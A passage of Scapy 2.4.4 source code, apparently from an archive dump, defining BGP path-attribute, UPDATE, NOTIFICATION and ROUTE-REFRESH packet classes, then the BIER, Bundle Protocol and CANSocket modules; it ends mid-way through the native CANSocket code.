_ext_comm_non_trans_ipv4_addr_specific_subtypes, 0x42: _ext_comm_non_trans_four_octets_as_specific_subtypes, 0x43: _ext_comm_non_trans_opaque_subtypes, 0x80: _ext_comm_generic_transitive_exp_subtypes, 0x81: _ext_comm_generic_transitive_exp_part2_subtypes, 0x82: _ext_comm_generic_transitive_exp_part3_subtypes, } # # Extended Community "templates" # class BGPPAExtCommTwoOctetASSpecific(Packet): """ Packet handling the Two-Octet AS Specific Extended Community attribute value. References: RFC 4360 """ name = "Two-Octet AS Specific Extended Community" fields_desc = [ ShortField("global_administrator", 0), IntField("local_administrator", 0)] # noqa: E501 class BGPPAExtCommFourOctetASSpecific(Packet): """ Packet handling the Four-Octet AS Specific Extended Community attribute value. References: RFC 5668 """ name = "Four-Octet AS Specific Extended Community" fields_desc = [ IntField("global_administrator", 0), ShortField("local_administrator", 0)] # noqa: E501 class BGPPAExtCommIPv4AddressSpecific(Packet): """ Packet handling the IPv4 Address Specific Extended Community attribute value. References: RFC 4360 """ name = "IPv4 Address Specific Extended Community" fields_desc = [ IntField("global_administrator", 0), ShortField("local_administrator", 0)] # noqa: E501 class BGPPAExtCommOpaque(Packet): """ Packet handling the Opaque Extended Community attribute value. References: RFC 4360 """ name = "Opaque Extended Community" fields_desc = [StrFixedLenField("value", "", length=6)] # # FlowSpec related extended communities # class BGPPAExtCommTrafficRate(Packet): """ Packet handling the (FlowSpec) "traffic-rate" extended community. References: RFC 5575 """ name = "FlowSpec traffic-rate extended community" fields_desc = [ ShortField("id", 0), IEEEFloatField("rate", 0) ] class BGPPAExtCommTrafficAction(Packet): """ Packet handling the (FlowSpec) "traffic-action" extended community. References: RFC 5575 """ name = "FlowSpec traffic-action extended community" fields_desc = [ BitField("reserved", 0, 46), BitField("sample", 0, 1), BitField("terminal_action", 0, 1) ] class BGPPAExtCommRedirectAS2Byte(Packet): """ Packet handling the (FlowSpec) "redirect AS-2byte" extended community (RFC 7674). References: RFC 7674 """ name = "FlowSpec redirect AS-2byte extended community" fields_desc = [ ShortField("asn", 0), IntField("value", 0) ] class BGPPAExtCommRedirectIPv4(Packet): """ Packet handling the (FlowSpec) "redirect IPv4" extended community. (RFC 7674). References: RFC 7674 """ name = "FlowSpec redirect IPv4 extended community" fields_desc = [ IntField("ip_addr", 0), ShortField("value", 0) ] class BGPPAExtCommRedirectAS4Byte(Packet): """ Packet handling the (FlowSpec) "redirect AS-4byte" extended community. (RFC 7674). References: RFC 7674 """ name = "FlowSpec redirect AS-4byte extended community" fields_desc = [ IntField("asn", 0), ShortField("value", 0) ] class BGPPAExtCommTrafficMarking(Packet): """ Packet handling the (FlowSpec) "traffic-marking" extended community. References: RFC 5575 """ name = "FlowSpec traffic-marking extended community" fields_desc = [ BitEnumField("dscp", 48, 48, _ext_comm_traffic_action_fields) ] _ext_high_low_dict = { BGPPAExtCommTwoOctetASSpecific: (0x00, 0x00), BGPPAExtCommIPv4AddressSpecific: (0x01, 0x00), BGPPAExtCommFourOctetASSpecific: (0x02, 0x00), BGPPAExtCommOpaque: (0x03, 0x00), BGPPAExtCommTrafficRate: (0x80, 0x06), BGPPAExtCommTrafficAction: (0x80, 0x07), BGPPAExtCommRedirectAS2Byte: (0x80, 0x08), BGPPAExtCommTrafficMarking: (0x80, 0x09), BGPPAExtCommRedirectIPv4: (0x81, 0x08), BGPPAExtCommRedirectAS4Byte: (0x82, 0x08), } class _ExtCommValuePacketField(PacketField): """ PacketField handling Extended Communities "value parts". """ __slots__ = ["type_from"] def __init__(self, name, default, cls, remain=0, type_from=(0, 0)): PacketField.__init__(self, name, default, cls, remain) self.type_from = type_from def m2i(self, pkt, m): ret = None type_high, type_low = self.type_from(pkt) if type_high == 0x00 or type_high == 0x40: # Two-Octet AS Specific Extended Community ret = BGPPAExtCommTwoOctetASSpecific(m) elif type_high == 0x01 or type_high == 0x41: # IPv4 Address Specific ret = BGPPAExtCommIPv4AddressSpecific(m) elif type_high == 0x02 or type_high == 0x42: # Four-octet AS Specific Extended Community ret = BGPPAExtCommFourOctetASSpecific(m) elif type_high == 0x03 or type_high == 0x43: # Opaque ret = BGPPAExtCommOpaque(m) elif type_high == 0x80: # FlowSpec if type_low == 0x06: ret = BGPPAExtCommTrafficRate(m) elif type_low == 0x07: ret = BGPPAExtCommTrafficAction(m) elif type_low == 0x08: ret = BGPPAExtCommRedirectAS2Byte(m) elif type_low == 0x09: ret = BGPPAExtCommTrafficMarking(m) elif type_high == 0x81: # FlowSpec if type_low == 0x08: ret = BGPPAExtCommRedirectIPv4(m) elif type_high == 0x82: # FlowSpec if type_low == 0x08: ret = BGPPAExtCommRedirectAS4Byte(m) else: ret = conf.raw_layer(m) return ret class BGPPAIPv6AddressSpecificExtComm(Packet): """ Provides an implementation of the IPv6 Address Specific Extended Community attribute. This attribute is not defined using the existing BGP Extended Community attribute (see the RFC 5701 excerpt below). References: RFC 5701 """ name = "IPv6 Address Specific Extended Community" fields_desc = [ IP6Field("global_administrator", "::"), ShortField("local_administrator", 0)] # noqa: E501 def _get_ext_comm_subtype(type_high): """ Returns a ByteEnumField with the right sub-types dict for a given community. # noqa: E501 http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml """ return _ext_comm_subtypes_classes.get(type_high, {}) class _TypeLowField(ByteField): """ Field used to retrieve "dynamically" the right sub-type dict. """ __slots__ = ["enum_from"] def __init__(self, name, default, enum_from=None): ByteField.__init__(self, name=name, default=default) self.enum_from = enum_from def i2repr(self, pkt, i): enum = self.enum_from(pkt) return enum.get(i, i) class BGPPAExtCommunity(Packet): """ Provides an implementation of the Extended Communities attribute. References: RFC 4360 """ name = "EXTENDED_COMMUNITY" fields_desc = [ ByteEnumField("type_high", 0, _ext_comm_types), _TypeLowField( "type_low", None, enum_from=lambda x: _get_ext_comm_subtype(x.type_high) ), _ExtCommValuePacketField( "value", None, Packet, type_from=lambda x: (x.type_high, x.type_low) ) ] def post_build(self, p, pay): if self.value is None: p = p[:2] if self.type_low is None and self.value is not None: high, low = _ext_high_low_dict.get(self.value.__class__, (0x00, 0x00)) # noqa: E501 p = chb(high) + chb(low) + p[2:] return p + pay class _ExtCommsPacketListField(PacketListField): """ PacketListField handling a list of extended communities. """ def getfield(self, pkt, s): lst = [] length = len(s) remain = s[:length] while remain: current = remain[:8] remain = remain[8:] packet = self.m2i(pkt, current) lst.append(packet) return remain, lst class BGPPAExtComms(Packet): """ Packet handling the multiple extended communities. """ name = "EXTENDED_COMMUNITIES" fields_desc = [ _ExtCommsPacketListField( "extended_communities", [], BGPPAExtCommunity ) ] class MPReachNLRIPacketListField(PacketListField): """ PacketListField handling the AFI specific part (except for the length of Next Hop Network Address field, which is not AFI specific) of the MP_REACH_NLRI attribute. """ def getfield(self, pkt, s): lst = [] remain = s # IPv6 if pkt.afi == 2: if pkt.safi == 1: # BGPNLRI_IPv6 while remain: mask = orb(remain[0]) length_in_bytes = (mask + 7) // 8 current = remain[:length_in_bytes + 1] remain = remain[length_in_bytes + 1:] prefix = BGPNLRI_IPv6(current) lst.append(prefix) return remain, lst class BGPPAMPReachNLRI(Packet): """ Packet handling the MP_REACH_NLRI attribute value, for non IPv6 AFI. References: RFC 4760 """ name = "MP_REACH_NLRI" fields_desc = [ ShortEnumField("afi", 0, address_family_identifiers), ByteEnumField("safi", 0, subsequent_afis), ByteField("nh_addr_len", 0), ConditionalField(IPField("nh_v4_addr", "0.0.0.0"), lambda x: x.afi == 1 and x.nh_addr_len == 4), ConditionalField(IP6Field("nh_v6_addr", "::"), lambda x: x.afi == 2 and x.nh_addr_len == 16), ConditionalField(IP6Field("nh_v6_global", "::"), lambda x: x.afi == 2 and x.nh_addr_len == 32), ConditionalField(IP6Field("nh_v6_link_local", "::"), lambda x: x.afi == 2 and x.nh_addr_len == 32), ByteField("reserved", 0), MPReachNLRIPacketListField("nlri", [], Packet)] def post_build(self, p, pay): if self.nlri is None: p = p[:3] return p + pay # # MP_UNREACH_NLRI # class BGPPAMPUnreachNLRI_IPv6(Packet): """ Packet handling the MP_UNREACH_NLRI attribute value, for IPv6 AFI. """ name = "MP_UNREACH_NLRI (IPv6 NLRI)" fields_desc = [BGPNLRIPacketListField( "withdrawn_routes", [], BGPNLRI_IPv6)] class MPUnreachNLRIPacketField(PacketField): """ PacketField handling the AFI specific part of the MP_UNREACH_NLRI attribute. """ def m2i(self, pkt, m): ret = None if pkt.afi == 2: ret = BGPPAMPUnreachNLRI_IPv6(m) else: ret = conf.raw_layer(m) return ret class BGPPAMPUnreachNLRI(Packet): """ Packet handling the MP_UNREACH_NLRI attribute value, for non IPv6 AFI. References: RFC 4760 """ name = "MP_UNREACH_NLRI" fields_desc = [ShortEnumField("afi", 0, address_family_identifiers), ByteEnumField("safi", 0, subsequent_afis), MPUnreachNLRIPacketField("afi_safi_specific", None, Packet)] def post_build(self, p, pay): if self.afi_safi_specific is None: p = p[:3] return p + pay # # AS4_PATH # class BGPPAAS4Path(Packet): """ Provides an implementation of the AS4_PATH attribute "value part". References: RFC 4893 """ name = "AS4_PATH" fields_desc = [ ByteEnumField( "segment_type", 2, {1: "AS_SET", 2: "AS_SEQUENCE"} ), ByteField("segment_length", None), FieldListField("segment_value", [], IntField("asn", 0)) ] def post_build(self, p, pay): if self.segment_length is None: segment_len = len(self.segment_value) p = p[:1] + chb(segment_len) + p[2:] return p + pay # # AS4_AGGREGATOR # class BGPPAAS4Aggregator(Packet): """ Provides an implementation of the AS4_AGGREGATOR attribute "value part". References: RFC 4893 """ name = "AS4_AGGREGATOR " fields_desc = [IntField("aggregator_asn", 0), IPField("speaker_address", "0.0.0.0")] _path_attr_objects = { 0x01: "BGPPAOrigin", 0x02: "BGPPAASPath", # if bgp_module_conf.use_2_bytes_asn, BGPPAAS4BytesPath otherwise # noqa: E501 0x03: "BGPPANextHop", 0x04: "BGPPAMultiExitDisc", 0x05: "BGPPALocalPref", 0x06: "BGPPAAtomicAggregate", 0x07: "BGPPAAggregator", 0x08: "BGPPACommunity", 0x09: "BGPPAOriginatorID", 0x0A: "BGPPAClusterList", 0x0E: "BGPPAMPReachNLRI", 0x0F: "BGPPAMPUnreachNLRI", 0x10: "BGPPAExtComms", 0x11: "BGPPAAS4Path", 0x19: "BGPPAIPv6AddressSpecificExtComm" } class _PathAttrPacketField(PacketField): """ PacketField handling path attribute value parts. """ def m2i(self, pkt, m): ret = None type_code = pkt.type_code # Reserved if type_code == 0 or type_code == 255: ret = conf.raw_layer(m) # Unassigned elif (type_code >= 30 and type_code <= 39) or\ (type_code >= 41 and type_code <= 127) or\ (type_code >= 129 and type_code <= 254): ret = conf.raw_layer(m) # Known path attributes else: if type_code == 0x02 and not bgp_module_conf.use_2_bytes_asn: ret = BGPPAAS4BytesPath(m) else: ret = _get_cls( _path_attr_objects.get(type_code, conf.raw_layer))(m) return ret class BGPPathAttr(Packet): """ Provides an implementation of the path attributes. References: RFC 4271 """ name = "BGPPathAttr" fields_desc = [ FlagsField("type_flags", 0x80, 8, [ "NA0", "NA1", "NA2", "NA3", "Extended-Length", "Partial", "Transitive", "Optional" ]), ByteEnumField("type_code", 0, path_attributes), ConditionalField( ShortField("attr_ext_len", None), lambda x: x.type_flags is not None and has_extended_length(x.type_flags) ), ConditionalField( ByteField("attr_len", None), lambda x: x.type_flags is not None and not has_extended_length(x.type_flags) ), _PathAttrPacketField("attribute", None, Packet) ] def post_build(self, p, pay): flags_value = None length = None packet = None extended_length = False # Set default flags value ? if self.type_flags is None: # Set the standard value, if it is exists in attributes_flags. if self.type_code in attributes_flags: flags_value = attributes_flags.get(self.type_code) # Otherwise, set to optional, non-transitive. else: flags_value = 0x80 extended_length = has_extended_length(flags_value) else: extended_length = has_extended_length(self.type_flags) # Set the flags if flags_value is None: packet = p[:2] else: packet = struct.pack("!B", flags_value) + p[1] # Add the length if self.attr_len is None: if self.attribute is None: length = 0 else: if extended_length: length = len(p) - 4 # Flags + Type + Length (2 bytes) else: length = len(p) - 3 # Flags + Type + Length (1 byte) if length is None: if extended_length: packet = packet + p[2:4] else: packet = packet + p[2] else: if extended_length: packet = packet + struct.pack("!H", length) else: packet = packet + struct.pack("!B", length) # Append the rest of the message if extended_length: if self.attribute is not None: packet = packet + p[4:] else: if self.attribute is not None: packet = packet + p[3:] return packet + pay # # UPDATE # class BGPUpdate(BGP): """ UPDATE messages allow peers to exchange routes. References: RFC 4271 """ name = "UPDATE" fields_desc = [ FieldLenField( "withdrawn_routes_len", None, length_of="withdrawn_routes", fmt="!H" ), BGPNLRIPacketListField( "withdrawn_routes", [], BGPNLRI_IPv4, length_from=lambda p: p.withdrawn_routes_len ), FieldLenField( "path_attr_len", None, length_of="path_attr", fmt="!H" ), BGPPathAttrPacketListField( "path_attr", [], BGPPathAttr, length_from=lambda p: p.path_attr_len ), BGPNLRIPacketListField("nlri", [], BGPNLRI_IPv4) ] def post_build(self, p, pay): subpacklen = lambda p: len(p) packet = "" if self.withdrawn_routes_len is None: wl = sum(map(subpacklen, self.withdrawn_routes)) packet = p[:0] + struct.pack("!H", wl) + p[2:] else: wl = self.withdrawn_routes_len if self.path_attr_len is None: length = sum(map(subpacklen, self.path_attr)) packet = p[:2 + wl] + struct.pack("!H", length) + p[4 + wl:] return packet + pay # # NOTIFICATION # # # RFC 4271, RFC 7313 # http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-3 # _error_codes = { 0x01: "Message Header Error", 0x02: "OPEN Message Error", 0x03: "UPDATE Message Error", 0x04: "Hold Timer Expired", 0x05: "Finite State Machine Error", 0x06: "Cease", 0x07: "ROUTE-REFRESH Message Error", # RFC 7313 } # # http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-4 # _error_subcodes = { # Reserved 0: {}, # Header (RFC 4271) 1: { 0: "Unspecific", 1: "Connection Not Synchronized", 2: "Bad Message Length", 3: "Bad Message Type" }, # OPEN (RFC 4271, RFC 5492) 2: { 0: "Reserved", 1: "Unsupported Version Number", 2: "Bad Peer AS", 3: "Bad BGP Identifier", 4: "Unsupported Optional Parameter", 5: "Authentication Failure - Deprecated (RFC 4271)", 6: "Unacceptable Hold Time", 7: "Unsupported Capability" }, # UPDATE (RFC 4271) 3: { 0: "Reserved", 1: "Malformed Attribute List", 2: "Unrecognized Well-known Attribute", 3: "Missing Well-known Attribute", 4: "Attribute Flags Error", 5: "Attribute Length Error", 6: "Invalid ORIGIN Attribute", 7: "AS Routing Loop - Deprecated (RFC 4271)", 8: "Invalid NEXT_HOP Attribute", 9: "Optional Attribute Error", 10: "Invalid Network Field", 11: "Malformed AS_PATH" }, # Hold Timer Expired 4: {}, # Finite State Machine Error (RFC 6608) 5: { 0: "Unspecified Error", 1: "Receive Unexpected Message in OpenSent State", 2: "Receive Unexpected Message in OpenConfirm State", 3: "Receive Unexpected Message in Established State" }, # Cease (RFC 4486) 6: { 0: "Unspecified Error", 1: "Maximum Number of Prefixes Reached", 2: "Administrative Shutdown", 3: "Peer De-configured", 4: "Administrative Reset", 5: "Connection Rejected", 6: "Other Configuration Change", 7: "Connection Collision Resolution", 8: "Out of Resources", }, # ROUTE-REFRESH (RFC 7313) 7: { 0: "Reserved", 1: "Invalid Message Length" }, } class BGPNotification(BGP): """ NOTIFICATION messages end a BGP session. References: RFC 4271 """ name = "NOTIFICATION" fields_desc = [ ByteEnumField("error_code", 0, _error_codes), MultiEnumField( "error_subcode", 0, _error_subcodes, depends_on=lambda p: p.error_code, fmt="B" ), StrField(name="data", default=None) ] # # ROUTE_REFRESH # _orf_when_to_refresh = { 0x01: "IMMEDIATE", 0x02: "DEFER" } _orf_actions = { 0: "ADD", 1: "REMOVE", 2: "REMOVE-ALL" } _orf_match = { 0: "PERMIT", 1: "DENY" } _orf_entry_afi = 1 _orf_entry_safi = 1 def _update_orf_afi_safi(afi, safi): """ Helper function that sets the afi / safi values of ORP entries. """ global _orf_entry_afi global _orf_entry_safi _orf_entry_afi = afi _orf_entry_safi = safi class BGPORFEntry(Packet): """ Provides an implementation of an ORF entry. References: RFC 5291 """ name = "ORF entry" fields_desc = [ BitEnumField("action", 0, 2, _orf_actions), BitEnumField("match", 0, 1, _orf_match), BitField("reserved", 0, 5), StrField("value", "") ] class _ORFNLRIPacketField(PacketField): """ PacketField handling the ORF NLRI. """ def m2i(self, pkt, m): ret = None if _orf_entry_afi == 1: # IPv4 ret = BGPNLRI_IPv4(m) elif _orf_entry_afi == 2: # IPv6 ret = BGPNLRI_IPv6(m) else: ret = conf.raw_layer(m) return ret class BGPORFAddressPrefix(BGPORFEntry): """ Provides an implementation of the Address Prefix ORF (RFC 5292). """ name = "Address Prefix ORF" fields_desc = [ BitEnumField("action", 0, 2, _orf_actions), BitEnumField("match", 0, 1, _orf_match), BitField("reserved", 0, 5), IntField("sequence", 0), ByteField("min_len", 0), ByteField("max_len", 0), _ORFNLRIPacketField("prefix", "", Packet), ] class BGPORFCoveringPrefix(Packet): """ Provides an implementation of the CP-ORF (RFC 7543). """ name = "CP-ORF" fields_desc = [ BitEnumField("action", 0, 2, _orf_actions), BitEnumField("match", 0, 1, _orf_match), BitField("reserved", 0, 5), IntField("sequence", 0), ByteField("min_len", 0), ByteField("max_len", 0), LongField("rt", 0), LongField("import_rt", 0), ByteField("route_type", 0), PacketField("host_addr", None, Packet) ] class BGPORFEntryPacketListField(PacketListField): """ PacketListField handling the ORF entries. """ def m2i(self, pkt, m): ret = None # Cisco also uses 128 if pkt.orf_type == 64 or pkt.orf_type == 128: ret = BGPORFAddressPrefix(m) elif pkt.orf_type == 65: ret = BGPORFCoveringPrefix(m) else: ret = conf.raw_layer(m) return ret def getfield(self, pkt, s): lst = [] length = 0 ret = b"" if self.length_from is not None: length = self.length_from(pkt) remain = s if length is not None: remain, ret = s[:length], s[length:] while remain: orf_len = 0 # Get value length, depending on the ORF type if pkt.orf_type == 64 or pkt.orf_type == 128: # Address Prefix ORF # Get the length, in bits, of the prefix prefix_len = _bits_to_bytes_len( orb(remain[6]) ) # flags (1 byte) + sequence (4 bytes) + min_len (1 byte) + # max_len (1 byte) + mask_len (1 byte) + prefix_len orf_len = 8 + prefix_len elif pkt.orf_type == 65: # Covering Prefix ORF if _orf_entry_afi == 1: # IPv4 # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) + # noqa: E501 # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte) orf_len = 23 + 4 elif _orf_entry_afi == 2: # IPv6 # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) + # noqa: E501 # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte) orf_len = 23 + 16 elif _orf_entry_afi == 25: # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) + # noqa: E501 # rt (8 bytes) + import_rt (8 bytes) route_type = orb(remain[22]) if route_type == 2: # MAC / IP Advertisement Route orf_len = 23 + 6 else: orf_len = 23 current = remain[:orf_len] remain = remain[orf_len:] packet = self.m2i(pkt, current) lst.append(packet) return remain + ret, lst class BGPORF(Packet): """ Provides an implementation of ORFs carried in the RR message. References: RFC 5291 """ name = "ORF" fields_desc = [ ByteEnumField("when_to_refresh", 0, _orf_when_to_refresh), ByteEnumField("orf_type", 0, _orf_types), FieldLenField("orf_len", None, length_of="entries", fmt="!H"), BGPORFEntryPacketListField( "entries", [], Packet, length_from=lambda p: p.orf_len, ) ] # RFC 7313 # http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#route-refresh-subcodes rr_message_subtypes = { 0: "Route-Refresh", 1: "BoRR", 2: "EoRR", 255: "Reserved" } class BGPRouteRefresh(BGP): """ Provides an implementation of the ROUTE-REFRESH message. References: RFC 2918, RFC 7313 """ name = "ROUTE-REFRESH" fields_desc = [ ShortEnumField("afi", 1, address_family_identifiers), ByteEnumField("subtype", 0, rr_message_subtypes), ByteEnumField("safi", 1, subsequent_afis), PacketField( 'orf_data', "", BGPORF, lambda p: _update_orf_afi_safi(p.afi, p.safi) ) ] # # Layer bindings # bind_layers(TCP, BGP, dport=179) bind_layers(TCP, BGP, sport=179) bind_layers(BGPHeader, BGPOpen, {"type": 1}) bind_layers(BGPHeader, BGPUpdate, {"type": 2}) bind_layers(BGPHeader, BGPNotification, {"type": 3}) bind_layers(BGPHeader, BGPKeepAlive, {"type": 4}) bind_layers(BGPHeader, BGPRouteRefresh, {"type": 5}) # When loading the module, display the current module configuration. log_runtime.warning( "[bgp.py] use_2_bytes_asn: %s", bgp_module_conf.use_2_bytes_asn) scapy-2.4.4/scapy/contrib/bier.py000066400000000000000000000044061372370053500167230ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Bit Index Explicit Replication (BIER) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import BitEnumField, BitField, BitFieldLenField, ByteField, \ ShortField, StrLenField from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6 class BIERLength: BIER_LEN_64 = 0 BIER_LEN_128 = 1 BIER_LEN_256 = 2 BIER_LEN_512 = 3 BIER_LEN_1024 = 4 BIERnhcls = {1: "MPLS", 2: "MPLS", 4: "IPv4", 5: "IPv6"} class BIFT(Packet): name = "BIFT" fields_desc = [BitField("bsl", BIERLength.BIER_LEN_256, 4), BitField("sd", 0, 8), BitField("set", 0, 8), BitField("cos", 0, 3), BitField("s", 1, 1), ByteField("ttl", 0)] class BIER(Packet): name = "BIER" fields_desc = [BitField("id", 5, 4), BitField("version", 0, 4), BitFieldLenField("length", BIERLength.BIER_LEN_256, 4, length_of=lambda x:(x.BitString >> 8)), BitField("entropy", 0, 20), BitField("OAM", 0, 2), BitField("RSV", 0, 2), BitField("DSCP", 0, 6), BitEnumField("Proto", 2, 6, BIERnhcls), ShortField("BFRID", 0), StrLenField("BitString", "", length_from=lambda x:(8 << x.length))] bind_layers(BIER, IP, Proto=4) bind_layers(BIER, IPv6, Proto=5) bind_layers(UDP, BIFT, dport=8138) bind_layers(BIFT, BIER) scapy-2.4.4/scapy/contrib/bp.py000066400000000000000000000105061372370053500164010ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . """ Copyright 2012, The MITRE Corporation:: NOTICE This software/technical data was produced for the U.S. Government under Prime Contract No. NASA-03001 and JPL Contract No. 1295026 and is subject to FAR 52.227-14 (6/87) Rights in Data General, and Article GP-51, Rights in Data General, respectively. This software is publicly released under MITRE case #12-3054 """ # scapy.contrib.description = Bundle Protocol (BP) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ StrLenField from scapy.contrib.sdnv import SDNV2FieldLenField, SDNV2LenField, SDNV2 from scapy.contrib.ltp import LTP, ltp_bind_payload class BP(Packet): name = "BP" fields_desc = [ByteField('version', 0x06), SDNV2('ProcFlags', 0), SDNV2LenField('BlockLen', None), SDNV2('DSO', 0), SDNV2('DSSO', 0), SDNV2('SSO', 0), SDNV2('SSSO', 0), SDNV2('RTSO', 0), SDNV2('RTSSO', 0), SDNV2('CSO', 0), SDNV2('CSSO', 0), SDNV2('CT', 0), SDNV2('CTSN', 0), SDNV2('LT', 0), SDNV2('DL', 0), ConditionalField(SDNV2("FO", 0), lambda x: ( x.ProcFlags & 0x01)), ConditionalField(SDNV2("ADUL", 0), lambda x: ( x.ProcFlags & 0x01)), ] def mysummary(self): tmp = "BP(%version%) flags(" if (self.ProcFlags & 0x01): tmp += ' FR' if (self.ProcFlags & 0x02): tmp += ' AR' if (self.ProcFlags & 0x04): tmp += ' DF' if (self.ProcFlags & 0x08): tmp += ' CT' if (self.ProcFlags & 0x10): tmp += ' S' if (self.ProcFlags & 0x20): tmp += ' ACKME' RAWCOS = (self.ProcFlags & 0x0180) COS = RAWCOS >> 7 cos_tmp = '' if COS == 0x00: cos_tmp += 'B ' if COS == 0x01: cos_tmp += 'N ' if COS == 0x02: cos_tmp += 'E ' if COS & 0xFE000: cos_tmp += 'SRR: (' if COS & 0x02000: cos_tmp += 'Rec ' if COS & 0x04000: cos_tmp += 'CA ' if COS & 0x08000: cos_tmp += 'FWD ' if COS & 0x10000: cos_tmp += 'DLV ' if COS & 0x20000: cos_tmp += 'DEL ' if COS & 0xFE000: cos_tmp += ') ' if cos_tmp: tmp += ' Pr: ' + cos_tmp tmp += " ) len(%BlockLen%) " if self.DL == 0: tmp += "CBHE: d[%DSO%,%DSSO%] s[%SSO%, %SSSO%] r[%RTSO%, %RTSSO%] c[%CSO%, %CSSO%] " # noqa: E501 else: tmp += "dl[%DL%] " tmp += "ct[%CT%] ctsn[%CTSN%] lt[%LT%] " if (self.ProcFlags & 0x01): tmp += "fo[%FO%] " tmp += "tl[%ADUL%]" return self.sprintf(tmp), [LTP] class BPBLOCK(Packet): fields_desc = [ByteEnumField('Type', 1, {1: "Bundle payload block"}), SDNV2('ProcFlags', 0), SDNV2FieldLenField('BlockLen', None, length_of="load"), StrLenField("load", "", length_from=lambda pkt: pkt.BlockLen, max_length=65535) ] def mysummary(self): return self.sprintf("BPBLOCK(%Type%) Flags: %ProcFlags% Len: %BlockLen%") # noqa: E501 ltp_bind_payload(BP, lambda pkt: pkt.DATA_ClientServiceID == 1) bind_layers(BP, BPBLOCK) bind_layers(BPBLOCK, BPBLOCK) scapy-2.4.4/scapy/contrib/cansocket.py000066400000000000000000000031471372370053500177550ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = CANSocket Utils # scapy.contrib.status = loads """ CANSocket. """ from scapy.error import log_loading from scapy.consts import LINUX from scapy.config import conf import scapy.modules.six as six PYTHON_CAN = False try: if conf.contribs['CANSocket']['use-python-can']: from can import BusABC as can_BusABC # noqa: F401 PYTHON_CAN = True else: PYTHON_CAN = False except ImportError: log_loading.info("Can't import python-can.") except KeyError: log_loading.info("Configuration 'conf.contribs['CANSocket'] not found.") if PYTHON_CAN: log_loading.info("Using python-can CANSocket.") log_loading.info("Specify 'conf.contribs['CANSocket'] = " "{'use-python-can': False}' to enable native CANSockets.") from scapy.contrib.cansocket_python_can import (PythonCANSocket, CANSocket, CAN_FRAME_SIZE, CAN_INV_FILTER) # noqa: E501 F401 elif LINUX and six.PY3 and not conf.use_pypy: log_loading.info("Using native CANSocket.") log_loading.info("Specify 'conf.contribs['CANSocket'] = " "{'use-python-can': True}' " "to enable python-can CANSockets.") from scapy.contrib.cansocket_native import (NativeCANSocket, CANSocket, CAN_FRAME_SIZE, CAN_INV_FILTER) # noqa: E501 F401 else: log_loading.info("No CAN support available. Install python-can or " "use Linux and python3.") scapy-2.4.4/scapy/contrib/cansocket_native.py000066400000000000000000000102731372370053500213210ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = Native CANSocket # scapy.contrib.status = loads """ NativeCANSocket. """ import struct import socket import time from scapy.config import conf from scapy.supersocket import SuperSocket from scapy.error import Scapy_Exception, warning from scapy.layers.can import CAN from scapy.packet import Padding from scapy.arch.linux import get_last_packet_timestamp conf.contribs['NativeCANSocket'] = {'channel': "can0"} CAN_FRAME_SIZE = 16 CAN_INV_FILTER = 0x20000000 class NativeCANSocket(SuperSocket): desc = "read/write packets at a given CAN interface using PF_CAN sockets" def __init__(self, channel=None, receive_own_messages=False, can_filters=None, remove_padding=True, basecls=CAN, **kwargs): bustype = kwargs.pop("bustype", None) if bustype and bustype != "socketcan": warning("You created a NativeCANSocket. " "If you're providing the argument 'bustype', please use " "the correct one to achieve compatibility with python-can" "/PythonCANSocket. \n'bustype=socketcan'") self.basecls = basecls self.remove_padding = remove_padding self.channel = conf.contribs['NativeCANSocket']['channel'] if \ channel is None else channel self.ins = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) try: self.ins.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_RECV_OWN_MSGS, struct.pack("i", receive_own_messages)) except Exception as exception: raise Scapy_Exception( "Could not modify receive own messages (%s)", exception ) if can_filters is None: can_filters = [{ "can_id": 0, "can_mask": 0 }] can_filter_fmt = "={}I".format(2 * len(can_filters)) filter_data = [] for can_filter in can_filters: filter_data.append(can_filter["can_id"]) filter_data.append(can_filter["can_mask"]) self.ins.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_FILTER, struct.pack(can_filter_fmt, *filter_data)) self.ins.bind((self.channel,)) self.outs = self.ins def recv(self, x=CAN_FRAME_SIZE): try: pkt, sa_ll = self.ins.recvfrom(x) except BlockingIOError: # noqa: F821 warning("Captured no data, socket in non-blocking mode.") return None except socket.timeout: warning("Captured no data, socket read timed out.") return None except OSError: # something bad happened (e.g. the interface went down) warning("Captured no data.") return None # need to change the byte order of the first four bytes, # required by the underlying Linux SocketCAN frame format if not conf.contribs['CAN']['swap-bytes']: pkt = struct.pack("I12s", pkt)) len = pkt[4] canpkt = self.basecls(pkt[:len + 8]) canpkt.time = get_last_packet_timestamp(self.ins) if 